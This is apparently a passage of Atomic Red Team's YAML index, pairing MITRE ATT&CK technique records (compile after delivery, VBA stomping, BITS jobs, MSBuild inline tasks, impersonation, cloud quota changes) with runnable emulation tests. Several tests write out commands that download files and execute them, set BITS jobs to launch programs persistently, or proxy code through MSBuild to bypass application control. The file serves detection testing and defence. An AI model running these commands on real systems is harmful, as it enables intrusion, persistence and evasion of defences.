      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Signature-based detection
      - Host intrusion prevention systems
      - Anti-virus
      - Binary Analysis
      - Static File Analysis
      x_mitre_permissions_required:
      - User
      x_mitre_system_requirements:
      - Compiler software (either native to the system or delivered by the adversary)
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1027.004
    atomic_tests:
    - name: Compile After Delivery using csc.exe
      auto_generated_guid: ffcdbd6a-b0e8-487d-927a-09127fe9a206
      description: |
        Compile C# code using csc.exe binary used by .NET
        Upon execution an exe named T1027.004.exe will be placed in the temp folder
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Output compiled binary
          type: path
          default: C:\Windows\Temp\T1027.004.exe
        input_file:
          description: C# code that launches calc.exe from a hidden cmd.exe Window
          type: path
          default: PathToAtomicsFolder\T1027.004\src\calc.cs
      dependency_executor_name: powershell
      dependencies:
      - description: 'C# file must exist on disk at specified location (#{input_file})

          '
        prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs" -OutFile "#{input_file}"
      executor:
        command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file}
          "#{input_file}"

          '
        cleanup_command: 'del #{output_file} >nul 2>&1

          '
        name: command_prompt
    - name: Dynamic C# Compile
      auto_generated_guid: 453614d8-3ba6-4147-acc0-7ec4b3e1faef
      description: "When C# is compiled dynamically, a .cmdline file will be created
        as a part of the process. \nCertain processes are not typically observed compiling
        C# code, but can do so without touching disk. This can be used to unpack a
        payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe
        is contained in the 'bin' folder of this atomic, and the source code to the
        file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004
        Dynamic Compile'.\n"
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: exe program containing dynamically compiled C# code
          type: path
          default: PathToAtomicsFolder\T1027.004\bin\T1027.004_DynamicCompile.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'exe file must exist on disk at specified location (#{input_file})

          '
        prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe
          -OutFile "#{input_file}"

          '
      executor:
        command: 'Invoke-Expression "#{input_file}"

          '
        name: powershell
    - name: C compile
      auto_generated_guid: d0377aa6-850a-42b2-95f0-de558d80be57
      description: 'Compile a c file with either gcc or clang on FreeBSD, Linux or
        Macos.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: source file
          type: path
          default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.c
      dependency_executor_name: sh
      dependencies:
      - description: 'the source file must exist on disk at specified location (#{input_file})

          '
        prereq_command: 'if [ -e  #{input_file} ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.c
          -O "#{input_file}"

          '
      executor:
        command: |
          gcc #{input_file} && ./a.out
          clang #{input_file} && ./a.out
        name: sh
    - name: CC compile
      auto_generated_guid: da97bb11-d6d0-4fc1-b445-e443d1346efe
      description: 'Compile a c file with either gcc or clang on FreeBSD, Linux or
        Macos.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: source file
          type: path
          default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc
      dependency_executor_name: sh
      dependencies:
      - description: 'the source file must exist on disk at specified location (#{input_file})

          '
        prereq_command: 'if [ -e  #{input_file} ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.cc
          -O #{input_file}

          '
      executor:
        command: |
          g++ #{input_file} && ./a.out
          clang++ #{input_file} && ./a.out
        name: sh
    - name: Go compile
      auto_generated_guid: 78bd3fa7-773c-449e-a978-dc1f1500bc52
      description: 'Compile a go file with golang on FreeBSD, Linux or Macos.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: source file
          type: path
          default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.go
      dependency_executor_name: sh
      dependencies:
      - description: 'the source file must exist on disk at specified location (#{input_file})

          '
        prereq_command: 'if [ -e  #{input_file} ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.go
          -O #{input_file}

          '
      executor:
        command: 'go run #{input_file}

          '
        name: sh
  T1564.007:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Rick Cole, Mandiant
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b
      type: attack-pattern
      created: '2020-09-17T12:51:40.845Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1564.007
        url: https://attack.mitre.org/techniques/T1564/007
      - source_name: FireEye VBA stomp Feb 2020
        url: https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html
        description: 'Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February
          5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September
          17, 2020.'
      - source_name: Evil Clippy May 2019
        url: https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/
        description: 'Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant.
          Retrieved September 17, 2020.'
      - source_name: Microsoft _VBA_PROJECT Stream
        url: https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239
        description: 'Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream:
          Version Dependent Project Information. Retrieved September 18, 2020.'
      - source_name: Walmart Roberts Oct 2018
        url: https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278
        description: Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping
          — Advanced Maldoc Techniques. Retrieved September 17, 2020.
      - source_name: pcodedmp Bontchev
        url: https://github.com/bontchev/pcodedmp
        description: Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler.
          Retrieved September 17, 2020.
      - source_name: oletools toolkit
        url: https://github.com/decalage2/oletools
        description: decalage2. (2019, December 3). python-oletools. Retrieved September
          18, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: VBA Stomping
      description: |-
        Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

        MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)

        An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)

        If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Script: Script Execution'
      x_mitre_permissions_required:
      - User
      x_mitre_system_requirements:
      - MS Office version specified in <code>_VBA_PROJECT</code> stream must match
        host
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1197:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: BITS Jobs
      description: |-
        Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

        The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

        Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

        BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Ricardo Dias
      - Red Canary
      x_mitre_deprecated: false
      x_mitre_detection: |-
        BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)

        Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)

        Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_defense_bypassed:
      - Firewall
      - Host forensic analysis
      type: attack-pattern
      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1197
        external_id: T1197
      - source_name: CTU BITS Malware June 2016
        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
          with BITS. Retrieved January 12, 2018.
        url: https://www.secureworks.com/blog/malware-lingers-with-bits
      - source_name: Symantec BITS May 2007
        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
          Retrieved January 12, 2018.
        url: https://www.symantec.com/connect/blogs/malware-update-windows-update
      - source_name: Elastic - Hunting for Persistence Part 1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
      - source_name: PaloAlto UBoatRAT Nov 2017
        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
          Retrieved January 12, 2018.
        url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
      - source_name: Microsoft Issues with BITS July 2011
        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
          12, 2018.
        url: https://technet.microsoft.com/library/dd939934.aspx
      - source_name: Microsoft BITS
        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
          January 12, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
      - source_name: Microsoft BITSAdmin
        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
        url: https://msdn.microsoft.com/library/aa362813.aspx
      - source_name: Microsoft COM
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
      - source_name: Mondok Windows PiggyBack BITS May 2007
        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
          Intelligent Transfer Service. Retrieved January 12, 2018.
        url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1197
    atomic_tests:
    - name: Bitsadmin Download (cmd)
      auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: path
          default: "%temp%\\bitsadmin1_flag.ps1"
      executor:
        command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file}
          #{local_file}

          '
        cleanup_command: 'del #{local_file} >nul 2>&1

          '
        name: command_prompt
    - name: Bitsadmin Download (PowerShell)
      auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload leveraging PowerShell

        Upon execution you will find a github markdown file downloaded to the Temp directory
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: path
          default: "$env:TEMP\\bitsadmin2_flag.ps1"
      executor:
        command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination
          #{local_file}

          '
        cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore

          '
        name: powershell
    - name: Persist, Download, & Execute
      auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
        Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
        This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS"
        This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.
      supported_platforms:
      - windows
      input_arguments:
        command_path:
          description: Path of command to execute
          type: path
          default: C:\Windows\system32\notepad.exe
        bits_job_name:
          description: Name of BITS job
          type: string
          default: AtomicBITS
        local_file:
          description: Local file path to save downloaded file
          type: path
          default: "%temp%\\bitsadmin3_flag.ps1"
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
      executor:
        command: |
          bitsadmin.exe /create #{bits_job_name}
          bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
          bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
          bitsadmin.exe /resume #{bits_job_name}
          ping -n 5 127.0.0.1 >nul 2>&1
          bitsadmin.exe /complete #{bits_job_name}
        cleanup_command: 'del #{local_file} >nul 2>&1

          '
        name: command_prompt
    - name: Bits download using desktopimgdownldr.exe (cmd)
      auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114
      description: "This test simulates using desktopimgdownldr.exe to download a
        malicious file\ninstead of a desktop or lockscreen background img. The process
        that actually makes \nthe TCP connection and creates the file on the disk
        is a svchost process (“-k netsvc -p -s BITS”) \nand not desktopimgdownldr.exe.
        See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n"
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        download_path:
          description: Local file path to save downloaded file
          type: path
          default: SYSTEMROOT=C:\Windows\Temp
        cleanup_path:
          description: path to delete file as part of cleanup_command
          type: path
          default: C:\Windows\Temp\Personalization\LockScreenImage
        cleanup_file:
          description: file to remove as part of cleanup_command
          type: string
          default: "*.md"
      executor:
        command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file}
          /eventName:desktopimgdownldr

          '
        cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >nul 2>&1

          '
        name: command_prompt
  T1127.001:
    technique:
      modified: '2023-08-14T19:23:58.317Z'
      name: 'Trusted Developer Utilities Proxy Execution: MSBuild'
      description: |-
        Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)

        Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - "@ionstorm"
      - Carrie Roberts, @OrOneEqualsOne
      x_mitre_deprecated: false
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of MSBuild.exe. Compare recent invocations of those binaries with prior history
        of known good arguments and executed binaries to determine anomalous and potentially
        adversarial activity. Command arguments used before and after invocation of
        the utilities may also be useful in determining the origin and purpose of
        the binary being executed.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_system_requirements:
      - ".NET Framework version 4 or higher"
      type: attack-pattern
      id: attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96
      created: '2020-03-27T21:50:26.042Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1127/001
        external_id: T1127.001
      - source_name: LOLBAS Msbuild
        description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.
        url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
      - source_name: Microsoft MSBuild Inline Tasks 2017
        description: Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved
          March 5, 2021.
        url: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element
      - source_name: MSDN MSBuild
        description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.
        url: https://msdn.microsoft.com/library/dd393574.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1127.001
    atomic_tests:
    - name: MSBuild Bypass Using Inline Tasks (C#)
      auto_generated_guid: 58742c0f-cb01-44cd-a60b-fb26e8871c93
      description: 'Executes the code in a project file using msbuild.exe. The default
        C# project example file (T1127.001.csproj) will simply print "Hello From a
        Code Fragment" and "Hello From a Class." to the screen.

        '
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Location of the project file
          type: path
          default: PathToAtomicsFolder\T1127.001\src\T1127.001.csproj
        msbuildpath:
          description: Default location of MSBuild
          type: path
          default: C:\Windows\Microsoft.NET\Framework\v4.0.30319
        msbuildname:
          description: Default name of MSBuild
          type: path
          default: msbuild.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Project file must exist on disk at specified location (#{filename})

          '
        prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj" -OutFile "#{filename}"
      executor:
        command: '#{msbuildpath}\#{msbuildname} "#{filename}"

          '
        name: command_prompt
    - name: MSBuild Bypass Using Inline Tasks (VB)
      auto_generated_guid: ab042179-c0c5-402f-9bc8-42741f5ce359
      description: 'Executes the code in a project file using msbuild.exe. The default
        Visual Basic example file (vb.xml) will simply print "Hello from a Visual
        Basic inline task!" to the screen.

        '
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Location of the project file
          type: path
          default: PathToAtomicsFolder\T1127.001\src\vb.xml
        msbuildpath:
          description: Default location of MSBuild
          type: path
          default: C:\Windows\Microsoft.NET\Framework\v4.0.30319
        msbuildname:
          description: Default name of MSBuild
          type: path
          default: msbuild.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Project file must exist on disk at specified location (#{filename})

          '
        prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml" -OutFile "#{filename}"
      executor:
        command: '#{msbuildpath}\#{msbuildname} "#{filename}"

          '
        name: command_prompt
  T1656:
    technique:
      modified: '2023-09-30T19:45:05.886Z'
      name: Impersonation
      description: "Adversaries may impersonate a trusted person or organization in
        order to persuade and trick a target into performing some action on their
        behalf. For example, adversaries may communicate with victims (via [Phishing
        for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566),
        or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while
        impersonating a known sender such as an executive, colleague, or third-party
        vendor. Established trust can then be leveraged to accomplish an adversary’s
        ultimate goals, possibly against multiple victims. \n \nIn many cases of business
        email compromise or email fraud campaigns, adversaries use impersonation to
        defraud victims -- deceiving them into sending money or divulging information
        that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries
        will often also use social engineering techniques such as manipulative and
        persuasive language in email subject lines and body text such as `payment`,
        `request`, or `urgent` to push the victim to act quickly before malicious
        activity is detected. These campaigns are often specifically targeted against
        people who, due to job roles and/or accesses, can carry out the adversary’s
        goal.   \n \nImpersonation is typically preceded by reconnaissance techniques
        such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589)
        and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591)
        as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001))
        to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere
        is the potential for multiple victims in campaigns involving impersonation.
        For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586)
        targeting one organization which can then be used to support impersonation
        against other entities.(Citation: VEC)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Pawel Partyka, Microsoft Threat Intelligence
      - Blake Strom, Microsoft Threat Intelligence
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada
      created: '2023-08-08T15:42:18.906Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1656
        external_id: T1656
      - source_name: CrowdStrike-BEC
        description: Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email
          Compromise?. Retrieved August 8, 2023.
        url: https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/
      - source_name: VEC
        description: CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved
          September 12, 2023.
        url: https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1578.005:
    technique:
      modified: '2023-10-02T22:17:54.968Z'
      name: Modify Cloud Compute Configurations
      description: |-
        Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.

        For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)

        Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Blake Strom, Microsoft Threat Intelligence
      - Amir Gharib, Microsoft Threat Intelligence
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Cloud Service: Cloud Service Modification'
      type: attack-pattern
      id: attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f
      created: '2023-09-05T14:19:17.486Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1578/005
        external_id: T1578.005
      - source_name: Microsoft Subscription Hijacking 2022
        description: Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions
          using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.
